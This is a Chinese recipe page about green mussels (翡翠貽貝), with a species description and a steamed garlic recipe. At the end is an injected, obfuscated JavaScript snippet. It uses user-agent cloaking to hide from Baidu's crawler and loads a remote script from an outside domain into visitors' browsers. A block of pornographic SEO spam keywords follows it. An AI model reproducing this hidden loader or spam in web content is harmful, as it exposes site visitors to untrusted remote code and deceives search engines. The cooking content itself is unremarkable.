當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

青口貝的簡介 青口貝的做法

2016-07-17 09:42:58  來源:360常識網   熱度:
導語:青口貝殼頂位于貝殼的最前端,喙。背緣弧形,腹緣直或略凹。殼較薄,殼面光滑,翠綠色,前半部常呈綠褐色,生長紋細密,前端具有隆起肋。青口貝殼內面呈瓷白色。

青口貝的簡介 青口貝的做法

青口貝的簡介 青口貝的做法

青口貝的簡介

青口貝,即翡翠貽貝,又名海虹。干制后即為“淡菜”。分布在東海南部和南海沿岸。青口貝的貝殼較大,其貝殼長達13~14厘米。殼長,殼長是殼高的2倍。青口貝殼頂位于貝殼的最前端,喙。背緣弧形,腹緣直或略凹。殼較薄,殼面光滑,翠綠色,前半部常呈綠褐色,生長紋細密,前端具有隆起肋。青口貝殼內面呈瓷白色,或帶青藍色,有珍珠光澤。鉸合齒左殼2個,右殼1個。足絲細軟,淡黃色。

青口貝的做法

原料:青口貝250克。

調料:雞粉1/4大匙,鮮蒜茸3大匙,精鹽1/4小勺,味精1/3小勺,胡椒粉1/5小勺,雞油4大匙,淀粉適量。

做法:

1、青口貝洗滌整理干凈;將雞粉、鮮蒜茸、精鹽、味精、胡椒粉、雞油、淀粉裝碗,調拌勻,對成“蒜茸汁”備用。

2、將青口貝瀝干水分,拌入“蒜茸汁”,上屜蒸6分鐘左右,取出裝盤即可。

材料替換:用扇貝替換青口貝,稱為蒜茸扇貝。

口味變化:調味料中去掉蒜茸,加入豉茸,蠔汁,稱豉蠔青口貝。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久久精品波多野结衣AV| 亚洲国产精品一区二区久久| 亚洲国产精品无码久久青草| 国产成人无码精品久久久免费| 久久er国产精品免费观看8| 亚洲乱码精品久久久久..| 99视频精品全国在线观看| 国产精品专区第二| 精品国产一区二区三区久久影院| 亚洲国产精品13p| 国产精品青青在线麻豆| 少妇亚洲免费精品| 亚洲国产一二三精品无码| 久久无码国产专区精品| 日韩精品久久不卡中文字幕| 中文字幕精品一区| 亚洲精品美女久久久久| 久久国产精品偷99| 国产在线午夜卡精品影院| 亚洲人成精品久久久久| 午夜精品久久久久蜜桃| 亚洲精品无码你懂的| 国产三级精品三级| 亚洲av专区无码观看精品天堂 | 久久99精品视免费看| 国产精品99久久久久久宅男| 成人啪精品视频免费网站| 国产亚洲精品影视在线产品| 亚洲AV无码乱码麻豆精品国产| 国产69精品久久久久9999APGF| 日本五区在线不卡精品| 国内揄拍国内精品视频| 国产精品一二三区| 亚洲熟妇无码久久精品| 国产69精品久久久久9999| 国产精品福利影院| 色妞ww精品视频7777| 精品一区二区三区无码免费直播 | 亚洲综合国产精品| 国产亚洲精品精华液| 9久热这里只有精品免费|